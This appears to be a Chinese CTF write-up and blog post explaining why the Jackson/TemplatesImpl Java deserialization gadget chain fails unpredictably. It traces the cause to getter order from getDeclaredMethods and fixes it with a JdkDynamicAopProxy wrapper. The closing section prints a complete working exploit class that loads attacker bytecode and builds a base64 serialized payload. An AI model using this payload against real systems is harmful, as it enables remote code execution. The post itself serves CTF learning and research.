Jackson链的不稳定问题

写在前面

起因是调上周DASCTF X CBCTF的bypassctf(好久没见到官方WP我真的哭死),这题的第一步是使用Transfer-Encoding: chunked绕过servletRequest.getContentLength长度限制来打Jackson反序列化。

结果第一步就给我卡住了,反序列化执行丢了个报错:com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])

在漫长的自我怀疑后,仔细看了下poc,发现这里的Jackson链多了一块,给的备注是利用 JdkDynamicAopProxy 进行封装使其稳定触发。刚好出题人上一篇文章就写了这个问题,直接来学一波。

Jackson链分析

先说结论:链子用com.fasterxml.jackson.databind.json.JsonMapper#writeValueAsString调用TemplatesImpl的getter的时候,调用的顺序是不稳定的。这时如果TemplatesImpl中的getStylesheetDOM先于getOutputProperties调用,由于_sdom成员为空,会导致空指针报错,反序列化攻击失败。

之前Jackson链最后的调用部分没有细看,刚好这次自己调下这个过程,我觉得这种练习还是停有必要的。

测试代码

用的是上次一样的代码,改了一点。Message.java

package jj;

import java.io.Serializable;

public class Message implements Serializable {
    int code;
    String detail;
    Object data;

    public void setNoname(int code) {

    }
    public String getNoname() {
        System.out.println("getNoname");
        return this.detail;
    }
    public void setCode(int code) {
        this.code = code;
    }

    public void setDetail(String detail) {
        this.detail = detail;
    }

    public void setData(Object data) {
        this.data = data;
    }

    public int getCode() {
        System.out.println("getCode");
        return this.code;
    }

    public String getDetail() {
        System.out.println("getDetail");
        return this.detail;
    }

    public Object getData() {
        System.out.println("getData");
        return this.data;
    }
    public Message(){

    }
    public Message(int code, String detail) {
        this.code = code;
        this.detail = detail;
    }

    public Message(int code, String detail, Object data) {
        this.code = code;
        this.detail = detail;
        this.data = data;
    }
}

jacksonTest.java

package jj;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class jacksonTest {
    public static void main(String[] args) throws JsonProcessingException {
        Message message = new Message();
        message.setCode(5199);

        ObjectMapper objectMapper = new ObjectMapper();
        String s = objectMapper.writeValueAsString(message);

        System.out.println("jackon string: " + s);
    }
}

writeValueAsString调用分析

在其中的gatter方法中下断点,debug。调用栈如下

getDetail:29, Message (jj)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)
main:12, jacksonTest (jj)

com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField中反射调用了gatter方法

往上走一层,serializeAsField是在一个循环中被调用,循环的是BeanPropertyWriter对象的数组props

知道这个逻辑后,看下这个_accessorMethod属性是怎么被赋值的。找到这个属性的定义,右键Find Usages在Value write中找。其中赋值不为null的只有四处,在这四个地方下断点。

重新调试,程序停在了BeanPropertyWriter的一个构造方法。调用栈

<init>:235, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
_constructPropertyWriter:261, PropertyBuilder (com.fasterxml.jackson.databind.ser)
buildWriter:230, PropertyBuilder (com.fasterxml.jackson.databind.ser)
_constructWriter:879, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
findBeanProperties:630, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
constructBeanOrAddOnSerializer:401, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
findBeanOrAddOnSerializer:294, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
_createSerializer2:239, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
createSerializer:173, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
_createUntypedSerializer:1495, SerializerProvider (com.fasterxml.jackson.databind)
_createAndCacheUntypedSerializer:1443, SerializerProvider (com.fasterxml.jackson.databind)
findValueSerializer:544, SerializerProvider (com.fasterxml.jackson.databind)
findTypedValueSerializer:822, SerializerProvider (com.fasterxml.jackson.databind)
serializeValue:308, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)
main:12, jacksonTest (jj)

_accessorMethod是通过一个AnnotatedMember对象的getMember方法获得。

追踪这个member的传递,发现它最初是在com.fasterxml.jackson.databind.ser.BeanSerializerFactory#findBeanOrAddOnSerializer中被赋值。

下面来看properties数组是怎么被赋值的,追踪这个变量不难发现,它的赋值就在这个函数的上面

在这行下个断点,重新调试看看它的逻辑。在com.fasterxml.jackson.databind.introspect.POJOPropertiesCollector#getPropertyMap,由于_collected被设置为true,所以函数直接返回了_properties

可以猜测第一次_properties的赋值就在collectAll()中。事实上确实如此,从Find Usages中可以看到,_propertiesValue wirte只有一处,就是collectAll()

在赋值处下断点,分析函数中的props变量。props是一个POJOPropertyBuilder对象数组,POJOPropertyBuilder继承于BeanPropertyDefinition。从前面知道,之后会调用这个类的getAccessor方法来获取member,而这个getAccessor方法最终会返回POJOPropertyBuilder对象的_getters.value

collectAll()中先通过_addFieldsprops填充属性信息,此时的_getters还是null

这些Field通过搜索出来,决定顺序

经过_addMethods为其中的_getters添加内容,同时注意到这里多了一个noname的key,因为在类中我没有noname这个属性,只写了一个getNoname方法,但还是被添加了

getDeclaredMethods获取所有方法将所有getter按顺序添加

所以这个顺序与getDeclaredFieldsgetDeclaredMethods都有一部分关系。

用Jackson链来调,发现TemplatesImploutputPropertiesstylesheetDOM的顺序是由getDeclaredMethods决定的。

所以,问题的根源是 getDeclaredMethods 方法获取到的 Method 数组顺序是不确定的。其主要原因是JVM在加载类时,会对方法进行排序,以便快速查找。但这种排序是基于方法名的Symbol对象的地址,而不是字母顺序,因此可能会导致方法的顺序在不同JVM实例或运行时有所不同。参考文章:https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q

com.fasterxml.jackson.databind.SerializerProvider#findTypedValueSerializer中获取序列化器有缓存机制,在第一次便会创建缓存。所以Payload一旦失败,之后便不再会成功。

解决方案

回顾一下动态代理类

package yso.json.Jackson;

public interface User {
    String getRole();
    String getUsername();
    default String getNothing(){
        return null;
    };
}

package yso.json.Jackson;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class UserTest {
    public static void main(String[] args) {
        User realUser = new Admin("adminUser");
        User proxyUser = (User) Proxy.newProxyInstance(
                User.class.getClassLoader(),
                new Class[]{User.class},
                new UserProxyHandler(realUser)
        );
        for(Method m: proxyUser.getClass().getDeclaredMethods()) {
            System.out.println(m.getName());
        }

    }

    public static class Admin implements User {

        private String username;
        private String role;

        public Admin(String username) {
            this.username = username;
            this.role = "Admin";
        }

        @Override
        public String getRole() {
            return role;
        }

        @Override
        public String getUsername() {
            return username;
        }

        public String getPassword() {
            return null;
        }

    }

    public static class UserProxyHandler implements InvocationHandler {

        private final User user;

        public UserProxyHandler(User user) {
            this.user = user;
        }

        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            return null;
        }
    }
}

对于动态代理类getDeclaredMethods只返回其代理接口的方法。

TemplatesImpl的接口Templates只有两个方法newTransformer和我们要用的getOutputProperties

所以我们要找一个handler,它的invoke能执行调用的方法。然后用它生成一个TemplatesImpl的动态代理类,来代替原来链子的TemplatesImpl

这里借鉴的是ysoserial中JSON1链的处理方法,找到的handler是 org.springframework.aop.framework.JdkDynamicAopProxy类,同时这个 Spring AOP 的依赖在SpringBoot 环境下默认是存在的。

JdkDynamicAopProxy实现了 JDK 动态代理机制,用于创建代理对象来实现面向切面编程(AOP)的功能。在它的invoke中调用方法的部分如下

这个advised是一个AdvisedSupport对象,我们用它的setTarget方法设置targetSource属性。setTarget接受一个对象target,然后用target实例化一个SingletonTargetSource对象。在SingletonTargetSource#getTarget将target返回,进而实现了反射调用方法。

最后修改的payload为

package yso.json.Jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.codec.binary.Base64;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Exp {
    public static void main(String[] args) throws Exception{
        byte[] bytecode = Files.readAllBytes(Paths.get("src/main/java/Evil.class"));       // Evil bytecode
        byte[][] bytecodes = {bytecode};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates, "_name", "xx");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 使用JdkDynamicAopProxy稳定调用
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

        // 删除 jsonNode 的 writeReplace
        try {
            ClassPool _pool = ClassPool.getDefault();
            CtClass jsonNode = _pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(proxyObj);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, node);

        String s = serializeToBase64(val);
        System.out.println(s);
        deserializeFromBase64(s);
    }
    public static void setValue(Object instance, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = instance.getClass().getDeclaredField(fieldName); 
        field.setAccessible(true);  
        field.set(instance, value); 
    }
    public static Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
//        byte[] data = Base64.getDecoder().decode(base64String);
        byte[] data = Base64.decodeBase64(base64String);
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {

            return ois.readObject();
        }
    }

    public static String serializeToBase64(Object obj) throws IOException {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {

            oos.writeObject(obj);
            oos.flush();

//            return Base64.getEncoder().encodeToString(baos.toByteArray());
            return org.apache.commons.codec.binary.Base64.encodeBase64String(baos.toByteArray());
        }
    }
}

再看下这个getDeclaredMethods的顺序。从_addMethods只获得了一个getoutputProperties方法

参考连接

从JSON1链中学习处理JACKSON链的不稳定性
关于java反序列化中jackson链子不稳定问题
JVM源码分析之不保证顺序的Class.getMethods